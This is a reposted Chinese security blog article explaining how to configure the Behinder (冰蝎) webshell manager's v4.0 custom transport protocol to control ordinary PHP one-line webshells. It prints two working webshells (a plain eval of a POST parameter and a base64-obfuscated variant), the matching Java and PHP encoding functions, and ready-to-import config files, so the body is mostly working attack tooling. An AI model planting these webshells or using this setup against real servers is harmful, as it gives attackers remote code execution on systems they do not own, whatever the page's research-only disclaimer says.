使用冰蝎连接原始版本PHP一句话

admin 2023年1月17日13:54:12安全文章评论6 views2489字阅读8分17秒阅读模式

写在前面

冰蝎在v4.0版本中引入了自定义传输协议的机制,可以对本地和远程的加解密逻辑进行自定义。冰蝎内置的几个php版本的传输协议都是只支持冰蝎专用的小马,但是网上很多工具的exp都是直接写的普通的一句话木马。

本文给大家介绍一下如何写传输协议,可以直接连接普通的php一句话木马。

原始版一句话

首先看一下一句话木马内容:

<?php eval($_POST["pass"]); ?>

像这种小马,冰蝎通过自定义传输协议是可以直接连接的,先给传输协议起个名字:eval_post,然后本地加密函数这样写:

private byte[] Encrypt(byte[] data) throws Exception
{
String payload = java.net.URLEncoder.encode(new String(data),"UTF-8"); //先对Payload进行URL编码一下
payload = String.format("pass=%s",payload);//因为最原始的一句话没有加解密逻辑,所以直接把Payload封装进Post的Key-Value对就可以
return payload.getBytes();
}

这样本地的Payload就会以pass=xxx的形式发送到服务器。

本地解密函数最简单的可以这样写:

private byte[] Decrypt(byte[] data) throws Exception
{
return data; //客户端收到服务器返回的数据之后,不做任何处理,直接返回。
}

接下来是远程的加密函数,远程加密函数的功能是把服务端上Payload执行的结果在发回客户端之前做一些加密操作,我们这里省事,可以直接不做操作直接返回:

function Encrypt($data)
{
return $data;
}

由于我们没用使用动态生成的一句话木马,所以远程解密函数用不到,直接打个空格留空就行。

接下来连接测试一下:

使用冰蝎连接原始版本PHP一句话

图 1

使用冰蝎连接原始版本PHP一句话

图 2

使用冰蝎连接原始版本PHP一句话

图 3

保存的时候,会提示“一致性校验未通过”,忽略即可。因为冰蝎动态生成的一句话加密和解密是对称的,而这里我们没有用冰蝎动态生成的一句话,所以会有这个提醒,直接忽略,不影响。

使用冰蝎连接原始版本PHP一句话

图 4

使用冰蝎连接原始版本PHP一句话

图 5

这个是连接最原始php一句话木马的传输协议,最主要是做个演示,同理也可以做一些自定义的加解密算法来修改传输协议。

Base64加密

再分享一个base64加密版本的:

一句话内容:

<?php
eval(base64_decode(str_replace(array("<",">"),array("+","/"),$_POST["pass"])));
?>

本地加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String json="pass=lucky";
json=json.replace("lucky",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
return json.getBytes();
}

本地解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
return data;
}

远程php加密函数:

function encrypt($data)
{
return $data;
}

远程php解密函数置空,连接:

使用冰蝎连接原始版本PHP一句话

图 6

最后分享一下这两个传输协议的配置文件:

eval_post.config

[{"encode":"private byte[] Encrypt(byte[] data) throws Exceptionn{n    String payload = java.net.URLEncoder.encode(new String(data),"UTF-8");n    payload = String.format("pass=%s",payload);n    return payload.getBytes(); //因为最原始的一句话没有加解密逻辑,所以直接封装个Post的Key-Value对就可以n}","name":"eval_post","id":39,"decode":"nprivate byte[] Decrypt(byte[] data) throws Exceptionn{n   return data; //客户端收到服务器返回的数据之后,不做任何处理,直接返回。n}","type":"jsp"},{"encode":"function Encrypt($data)n{n   return $data;n}","name":"eval_post","id":40,"decode":" ","type":"php"}]

eval_post_base64.config

[{"encode":"private byte[] Encrypt(byte[] data) throws Exceptionn{n    String json="pass=lucky";n    json=json.replace("lucky",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));n    return json.getBytes();n}","name":"eval_post_base64","id":37,"decode":"private byte[] Decrypt(byte[] data) throws Exceptionn{n   return data;    n}","type":"jsp"},{"encode":"function encrypt($data)n{n   return $data;n}","name":"eval_post_base64","id":38,"decode":" ","type":"php"}]

把上面的内容另存为xxx.config,然后导入冰蝎即可。


原文始发于微信公众号(夏虫知冰):使用冰蝎连接原始版本PHP一句话

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月17日13:54:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  使用冰蝎连接原始版本PHP一句话 http://cn-sec.com/archives/1432990.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: